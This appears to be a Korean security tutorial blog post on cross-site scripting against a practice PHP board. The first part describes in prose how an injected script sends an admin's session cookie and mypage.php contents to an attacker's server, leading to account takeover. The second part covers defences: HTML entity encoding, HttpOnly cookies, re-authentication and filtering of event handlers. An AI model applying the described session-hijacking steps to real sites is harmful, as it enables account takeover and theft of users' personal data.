다른 사용자의 세션 ID를 알 수 있다면 해당 사용자로 위장하여 로그인이 가능하다. XSS로 다른 사용자의 브라우저에 접근할 수 있다는 점을 통해 세션 ID를 탈취할 수 있다. 세션 ID는 보통 cookie에 저장되므로, 클라이언트의 모든 cookie값들을 공격자의 서버로 전송하면 된다.
Posted by user 'nciwo'
아까 read_post.php에 XSS 취약점을 찾았던 것을 이용해 <script> 태그를 포함한 공격 스크립트를 작성한다. 해당 글은 `nciwo`라는 ID를 가진 사용자로 작성되었다.
`admin`이라는 ID를 가진 사용자로 접속해 해당 글(19번째 글 'Come on')을 클릭하면 `admin`의 세션 ID가 공격자의 서버로 전송될 것이다.
`PHPSESSID`, 즉, 세션 ID가 공격자 서버로 전송되었다. 해당 값을 받은 공격자는 자신의 쿠키를 변조해서 자신이 `admin`인냥 접속할 수 있을 것이다.
이렇게 `PHPSESSID`의 값을 변조한 뒤 mypage.php로 접속하면
원래는 `nciwo`였던 사용자가 `admin`의 계정으로 접속에 성공했다.
페이지 탈취
사용자의 민감한 정보가 담긴 페이지가 존재한다면, 해당 페이지를 탈취하는 것 또한 생각해볼 수 있다.
예제 사이트에서는 mypage.php라는 페이지에서 사용자의 민감한 정보를 출력한다.
read_post.php에서의 XSS 취약점을 이용해 해당 글을 읽는 사용자들의 mypage.php 내용을 공격자의 서버로 전송하는 스크립트를 삽입했다. 어그로성 제목을 설정함으로써 글을 읽도록 유도했다.
이번 글 또한 `nciwo` ID로 작성됐다.
`admin`이라는 ID를 가진 사용자가 공짜 유튜브 프리미엄을 참지 못하고 글을 읽으러 들어가게 되면,
자신의 mypage.php 페이지를 통째로 공격자의 서버로 전달하게 된다.
대응 방법
XSS 공격에 대한 대응 방법에는 여러가지가 있을 수 있지만, 가장 원론적으로 차단할 수 있는 방법이 존재한다. 지금까지 클라이언트 측 스크립트 삽입은 HTML 특수문자에 의해 발생해왔다. 그렇다면 HTML 특수문자를 막아버리면 된다. 하지만 해당 특수문자들은 원래부터 사용해오던 특수문자이기 때문에 그냥 막을 수는 없다. 그래서 사용하게 된 것이 HTML Entity이다.
HTML Entity
HTML Entity는 `&[entity_name];` 또는 `&#[entity_number];`의 형태로 여러 문자들을 표현하는 하나의 방식이다.
예를 들어, `<` 또는 `<`라고 쓰면 브라우저는 이를 `<`로 해석한다. 하지만 브라우저는 해당 `<`를 HTML 태그로 인식하지는않는다. 가령 `<script>`라는 문자열이 있으면 비록 사용자에게 `<script>`라고 출력해주겠지만 브라우저는 여전히 해당 문자열을 태그의 형태가 아닌 날 것 그대로 `<script>`라고 읽을 뿐이다.
꼭 보안만을 위해 등장한 것은 아니지만 이 HTML Entity는 XSS를 막는 데 있어 굉장히 효과적이다. XSS 취약점에서 공격을 하기 위해 `<`, `>`, `'`, `"` 이 넷 중 하나는 사용하게 돼있다. 하지만 이 네 개의 특수문자들을 전부 HTML Entity로 처리해버린다면 XSS에서의 핵심인 클라이언트 측 스크립트 삽입을 원천적으로 차단할 수 있게 된다.
Example
XSS 취약점이 발견된 read_post.php에서 코드를 수정해 XSS에 이용될 가능성이 있는 특수문자들을 HTML Entity로 변환해보겠다.
위의 글을 작성하여 읽으러 들어갈 때 `alert()`가 작동한다면 여전히 XSS 취약점이 존재하는 것이다.
`alert()` 함수가 작동하기는커녕 글 작성자가 옹졸하게 공격을 시도했다는 사실이 만천하에 드러나게 됐다.
실제로 응답받은 패킷을 살펴보면 `<`와 `>`, 그리고 `'`가 각각 `<`, `>`, `'`로 되어있는 것을 확인할 수 있다.
HttpOnly Cookie
사이트가 커지면 커질수록 XSS 취약점 포인트를 전부 알아내기 힘들 수 있다. 혹시나 뚫려버릴지도 모르는 XSS에 대해 적어도 세션 ID라도 지킬 필요가 있다. Cookie에는 다양한 옵션이 있는데, 그 중에서도 XSS의 공격으로부터 쿠키를 보호할 수 있는 옵션인 `HttpOnly` 옵션이 있다.
서버가 클라이언트에게 쿠키를 지정해줄 때 `HttpOnly` 옵션을 적용시킨다면 클라이언트는 스크립트 언어로 쿠키에 접근할 수 없게 된다. 원래라면 Javascript의 경우 `document.cookie`를 통해 모든 쿠키의 값들에 접근이 가능하지만, `HttpOnly` 옵션이 적용된 쿠키에서만큼은 예외다.
서버에서 세션을 시작할 때 `HttpOnly`를 적용시켜준다면 클라이언트에서 위와 같은 응답 패킷을 받을 수 있다.
① `HttpOnly`로 적용되어, ② `document.cookie`로는 세션 ID가 나오지 않는다.
페이지 보호
아무리 `HttpOnly`를 적용했다고 해도 로그인 정보가 안 털리는 것은 아니다. mypage.php에서 모든 로그인 정보를 보여주는 것을 확인했다. 세션 ID보다 더 중요한 정보는 여전히 유출될 가능성이 존재한다. 따라서 이와 같이 민감한 정보는 접속하자마자 보여주지 않아야 한다.
민감한 정보를 보호하기 위해 취할 수 있는 가장 간단한 방법으로는 인증을 다시 하는 것이다.
단순히 mypage.php에 접속하면 비밀번호를 다시 입력하게 하는 것이다.
로그인에 성공해야지만 사용자의 정보를 알 수 있다.
로그인에 실패하면 인증 실패라는 문구와 함께 사용자의 정보를 제공하지 않는다.
Case of HTML Editor
HTML Entity만 있으면 만사 OK라고 생각할 수 있다. 하지만 일부 상황에서는 HTML Entity를 사용할 수 없을 수도 있다. 가장 대표적인 예시로는 HTML Editor가 있다. 애초에 글을 HTML 방식으로 쓸 수 있게 하고 싶은 게시판의 경우, HTML Entity로 치환해버린다면 HTML Editor로써의 의미가 퇴색돼버린다. 해당 글을 작성하고 있는 tistory에서도 HTML Editor가 존재한다. 웬만해서는 HTML Editor 기능을 안 두는 것이 좋지만, 그럼에도 불구하고 필요하다면 다음의 과정을 거치는 것을 권장한다.
입력에서의 HTML 특수문자들을 전부 HTML Entity로 치환
`<img>`, `<svg>`, `<h1>` 등의 자주 사용되는 태그들은 HTML Entity -> HTML 특수문자로 되돌려놓음
`onerror`, `onload`, `onmouseover` 등의 악의적으로 사용될 여지가 있는 Event Handler들은 전부 삭제